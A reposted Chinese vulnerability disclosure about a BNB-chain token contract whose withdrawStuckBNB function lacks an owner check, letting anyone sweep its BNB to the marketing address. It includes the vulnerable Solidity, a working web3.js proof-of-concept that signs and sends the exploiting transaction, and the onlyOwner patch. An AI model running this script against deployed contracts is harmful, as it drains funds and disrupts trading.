大酷樂
  • 汽车
  • 理财
  • 军事
  • 科技
  • 游戏
  • 互联网
  • 娱乐
  • 财经
  • 科学
  • 社会
  • 亲子
  • 电影
  • 健康
  • 教育
  1. 首頁
  2. 互联网

某合约任意提取BNB漏洞

2025-04-01 简体 HK SG TW

今天小编分享的互联网经验:某合约任意提取BNB漏洞,欢迎阅读。

1、背景描述

合约是一个在满足特定条件时在区块链上执行代码的程式,各方以数字签署合同的方式准许并维护它的其运行。这些代码可以是向朋友汇款、买卖 NFT 虚拟商品等一系列复杂的内容。

  存在漏洞的目标合约是一个结合 Meme 文化病毒式传播与去中心化金融(DeFi)的创新项目,旨在通过趣味性和实用性打破传统 Meme 代币的模式。

该合约的代币目前市值 1400K(USDT),日均交易量 150K(USDT)

2、问题描述

该合约 "withdrawStuckBNB" 函数没有添加权限控制,攻击者可以通过调用 "withdrawStuckBNB" 函数,将合约内所有 BNB 转至营销地址 "marketingAddress",从而导致合约交易异常。

 tips:

BNB 是 BNB 链生态系统的原生代币,该系统包含 BNB 智能链(BSC)和 BNB 信标链。在 BNB 智能链上,BNB 用于支付交易费用和参与网络的共识机制。BNB 还被用作实用代币,使用户在 Binance 中心化加密货币交易所进行交易时获得交易费用的折扣。

BNB 在这个合约中的作用包括:作为交易对的配对货币,用于支付交易手续费,流动性池的组成部分,以及手续费收入的分配媒介

3、问题代码分析

```solidity

function   withdrawStuckBNB ( )   external   {     

bool   success;     

( success, )   =   address ( marketingAddress ) .call{value:   address ( this ) .balance} ( "" ) ;

}

```

在合约代码里面可以看到,`withdrawStuckBNB` 没有添加 onlyOwner 修饰,只有 external 修饰

tips:

    Solidity 语法中有 4 中默认函数修饰符

    - public:最大访问权限,任何人都可以调用。

    - private:只有合约内部可以调用,不可以被继承。

    - internal:子合约可以继承和调用。

    - external:外部可以调用,子合约可以继承和调用,当前合约不可以调用。

onlyOwner 是该合约自定义一个修饰器,用于修饰函数,只有合约的所有者才能调用该函数。

这就意味着任何人都可以调用这个函数,将合约内所有 BNB 转至营销地址,导致资金被盗。

4、后续利用链分析

从问题代码可知,任何人都可以调用这个函数,将合约内所有 BNB 转至营销地址 marketingAddress

查看 marketingAddress 的代码,marketingAddress 是一个营销地址,更新 marketingAddress 的代码如下:

可以看到,updateMarketingAddress 函数存在 onlyOwner 修饰,只有 owner 可以调用这个函数,这就意味着只有 owner 可以更新 marketingAddress 的地址。所以利用链到此截止,攻击者只能调用 withdrawStuckBNB 将合约内的 BNB 转至 marketingAddress,但是 marketingAddress 本身只能由 owner 更新,所以攻击者无法更新 marketingAddress 的地址,从而无法将 BNB 转至攻击者的地址,但是漏洞也能造成合约内 BNB 的清空,影响合约运行。

5、构造 POC

```javascriptconst Web3 = require ( 'web3' ) ;// // 初始化 Web3 实例,这里使用测试网的地址,你可以根据实际情况修改 const web3 = new Web3 ( 'https://data-seed-prebsc-1-s1.binance.org:8545' ) ;// const web3 = new Web3 ( 'https://bsc-dataseed4.binance.org/' ) ;

const contractABI = [ """ 换成完整 ABI""" ] ;const contractAddress = "0xaaaaa"; // 替换为目标合约地址 const contract = new web3.eth.Contract ( contractABI, contractAddress ) ;console.log ( "connect success" ) ;

// 如果使用 Node.js,需要添加私钥 const privateKey = '0xbbbbbbbbbbbbbb'; // 替换为你的私钥 const account = web3.eth.accounts.privateKeyToAccount ( privateKey ) ;web3.eth.accounts.wallet.add ( account ) ;

async function withdrawBNB ( ) {     try{         console.log ( account.address ) ;         const tx = {             from: account.address, // 必须使用真实地址             to: contractAddress,             gas: 300000,             data: contract.methods.withdrawStuckBNB ( ) .encodeABI ( )         };

        // 估算 gas         const gas = await web3.eth.estimateGas ( tx ) ;         tx.gas = gas;

        // 获取当前 gasPrice         const gasPrice = await web3.eth.getGasPrice ( ) ;         tx.gasPrice = gasPrice;

        // 签名并发送交易(Node.js 方式)         const signedTx = await web3.eth.accounts.signTransaction ( tx, privateKey ) ;         const receipt = await web3.eth.sendSignedTransaction ( signedTx.rawTransaction ) ;

        console.log ( 'Transaction Hash:', receipt.transactionHash ) ;         console.log ( 'Receipt:', receipt ) ;     } catch ( error ) {         console.error ( "Error:", error ) ;     }     console.log ( "2" ) ;}

withdrawBNB ( ) ;console.log ( "3" ) ;```

6、修复方案

在 withdrawStuckBNB 函数中添加 onlyOwner 修饰,只允许 owner 可以调用这个函数

```solidity

function   withdrawStuckBNB ( )  

external   onlyOwner  

{     

( bool   success, )  

=   marketingAddress.call{value:   address ( this ) .balance} ( "" ) ;     

require ( success,

"Transfer   failed" ) ;

}```

   该漏洞目前已向相关部門和厂商报送并已推出补丁,使用此漏洞造成的任何攻击影响均与本文作者无关。

原文链接

熱門排行
  • 王治郅:杨瀚森主要的问题是速度 他的速度跟不上现代篮球的节奏 王治郅:杨瀚森主要的问题是速度 他的速度跟 郟君昊 | 2025-05-05
  • 贸易战烧进电影院:特朗普拟重税打击外国电影 逼好莱坞等回美拍片 贸易战烧进电影院:特朗普拟重税打击外国电影 習又夏 | 2025-05-05
  • 贷款追高炒黄金的人后悔了!有人一天亏掉6年工资,卖掉舍不得,不卖扛不住 贷款追高炒黄金的人后悔了!有人一天亏掉6年 寸飛蘭 | 2025-05-05
  • 手机电池突破8000mAh?硅碳技术的回旋镖:「折寿」换容量 手机电池突破8000mAh?硅碳技术的回旋镖:「折 衛青柏 | 2025-05-05
  • 贷款追高炒黄金的人后悔了!有人一天亏掉6年工资,卖掉舍不得,不卖扛不住 贷款追高炒黄金的人后悔了!有人一天亏掉6年 繁綺文 | 2025-05-05
  • 任天堂对Genki提起Switch 2商标侵权诉讼,后者回应称将严肃对待 任天堂对Genki提起Switch 2商标侵权诉讼,后 郜萌運 | 2025-05-05
  • 哪吒汽车APP和官网恢复正常 知情人士:之前断网因流量欠费 哪吒汽车APP和官网恢复正常 知情人士:之前断 袁曼雁 | 2025-05-05
  • 极越汽车 CEO 夏一平名下青岛/义乌两家公司被列入经营异常 极越汽车 CEO 夏一平名下青岛/义乌两家公司 集玲琳 | 2025-05-05
  • 全国经济第一大省明确,推动组建农商联合银行 全国经济第一大省明确,推动组建农商联合银行 佼昌翰 | 2025-05-05
  • 桑保利:亚马尔有配合意识&有点像梅西 姆巴佩更专注进球&更像C罗 桑保利:亚马尔有配合意识&有点像梅西 姆巴佩 甄正浩 | 2025-05-05
  • 高露现身上海虹桥机场 黑色外套点缀亮色爱心装饰俏皮亮眼 高露现身上海虹桥机场 黑色外套点缀亮色爱 惠惠君 | 2023-05-02
  • 《歧路旅人2》:向光而生 《歧路旅人2》:向光而生 衛青柏 | 2023-05-02
  • vivo X90S曝光:处理器更新为天玑9200+ 安卓最强芯 vivo X90S曝光:处理器更新为天玑9200+ 安卓最 袁曼雁 | 2023-05-05
  • “懒癌”发病率上升,定期体检别忽视 “懒癌”发病率上升,定期体检别忽视 幸聽楓 | 2023-05-02
  • 宋慧乔获百想视后 韩素希发图手动加爱心表情庆祝 宋慧乔获百想视后 韩素希发图手动加爱心表 賁芳蕤 | 2023-05-02
  • 曹操墓,里面都有啥? 曹操墓,里面都有啥? 衛青柏 | 2023-05-02
  • 十年了,他们终于要HE! 十年了,他们终于要HE! 惠惠君 | 2023-05-07
  • 中央部署经济工作,释放5大信号 中央部署经济工作,释放5大信号 郜萌運 | 2023-05-02
  • 高德上线手机弯道会车预警功能 高德上线手机弯道会车预警功能 習又夏 | 2023-05-02
  • 陈自瑶抱病为爱女做蛋糕庆生,王浩信点赞没露面 陈自瑶抱病为爱女做蛋糕庆生,王浩信点赞没露 賁芳蕤 | 2023-05-02
  • 等比例长大的童星,李兰迪算一个 等比例长大的童星,李兰迪算一个 郟君昊 | 2023-05-02
  • 这些被抓来做实验的流浪狗,最终拯救了无数糖尿病人 这些被抓来做实验的流浪狗,最终拯救了无数糖 集玲琳 | 2023-05-02
  • 高端国产车:军车血统,目前电动车越野的“天花板”? 高端国产车:军车血统,目前电动车越野的“天花 謝飛揚 | 2023-05-02
  • 《云襄传》终于抬上来啦,男O女A让人好上头! 《云襄传》终于抬上来啦,男O女A让人好上头! 集玲琳 | 2023-05-02
  • 21家A股游戏公司2022年收入651亿 今年“游戏+AI”能否逆风翻盘? 21家A股游戏公司2022年收入651亿 今年“游 衛青柏 | 2023-05-04
  • 信用风险释放趋缓,结构性风险需重点关注 ——2023年一季度债市信用风险回顾与下阶段展望 信用风险释放趋缓,结构性风险需重点关注 — 袁曼雁 | 2023-05-02
  • 与周立波夫妇闹纠纷成老赖,唐爽被司法拘留15日 与周立波夫妇闹纠纷成老赖,唐爽被司法拘留15 寸飛蘭 | 2023-05-05
  • 普京签署总统令,批准对俄刑法典相关法条的修正案 普京签署总统令,批准对俄刑法典相关法条的修 集玲琳 | 2023-05-02
  • 中银证券给予南京银行增持评级 中银证券给予南京银行增持评级 袁曼雁 | 2023-05-03
  • 解除资格!停止一切合作 解除资格!停止一切合作 佼昌翰 | 2023-05-02
  • 3699起 联想小新mini主机上架 13代酷睿标压处理器 3699起 联想小新mini主机上架 13代酷睿标压 習又夏 | 2023-05-05
  • 前董事长被免,天山生物全面进入“中植系”时代?股价曾在一月内暴涨超400% 前董事长被免,天山生物全面进入“中植系”时 惠惠君 | 2023-05-02
  • 疯成这样,怎么还能被全网吹捧? 疯成这样,怎么还能被全网吹捧? 郜萌運 | 2023-05-02
  • 狂吼11次“让一下”!交警咆哮开道嘶吼到吐 狂吼11次“让一下”!交警咆哮开道嘶吼到吐 寸飛蘭 | 2023-05-03
  • 摩根大通收购美国第一共和银行 摩根大通收购美国第一共和银行 謝飛揚 | 2023-05-02
  • 台剧赢麻了,又来一部8.9 台剧赢麻了,又来一部8.9 衛青柏 | 2023-05-02
  • 事关农村土地承包和农民权益,《农村土地承包合同管理办法》5月1日起施行 事关农村土地承包和农民权益,《农村土地承包 郟君昊 | 2023-05-02
  • 下降45分,上涨35分!34所自划线院校复试分数线涨幅汇总 下降45分,上涨35分!34所自划线院校复试分数线 袁曼雁 | 2023-05-07
  • "三高"已盯上青少年,做好这件事是关键 "三高"已盯上青少年,做好这件事是关键 習又夏 | 2023-05-05
  • 五一档没一个能打的 五一档没一个能打的 集玲琳 | 2023-05-05
  • 恐怖韩剧下神坛,这次胆小可入 恐怖韩剧下神坛,这次胆小可入 袁曼雁 | 2023-05-05
  • 这剧是不是用ChatGPT写的呀? 这剧是不是用ChatGPT写的呀? 惠惠君 | 2023-05-02
  • 200户连夜疏散,原因让人愤怒!“损失超一亿”,官方通报 200户连夜疏散,原因让人愤怒!“损失超一亿”, 袁曼雁 | 2023-05-03
  • 性骚扰惯犯,滚出娱乐圈 性骚扰惯犯,滚出娱乐圈 謝飛揚 | 2023-05-05
  • 48岁何炅自曝已老花眼,黄磊睡前认老,《向往的生活》证实将停办 48岁何炅自曝已老花眼,黄磊睡前认老,《向往的 佼昌翰 | 2023-05-02
  • 一个《长月烬明》倒了,《狐妖》《长相思》《与凤行》…在路上了 一个《长月烬明》倒了,《狐妖》《长相思》《 惠惠君 | 2023-05-02
  • 张天爱假期晒“酷”存照 卷发披肩穿黑色吊带裙大秀好身材 张天爱假期晒“酷”存照 卷发披肩穿黑色吊 嬴覓晴 | 2023-05-02
  • 当年轻人开始不随份子钱 当年轻人开始不随份子钱 袁曼雁 | 2023-05-02
  • 毕滢用8年时间成功逼宫?曾被传已婚生子的她,不容小觑 毕滢用8年时间成功逼宫?曾被传已婚生子的她, 幸聽楓 | 2023-05-03
  • 宋慧乔获视后首次晒照,拿奖杯笑容温柔 宋慧乔获视后首次晒照,拿奖杯笑容温柔 郜萌運 | 2023-05-02

©2022 大酷樂 版權所有

隱私政策 | 服務條款 | 聯繫我們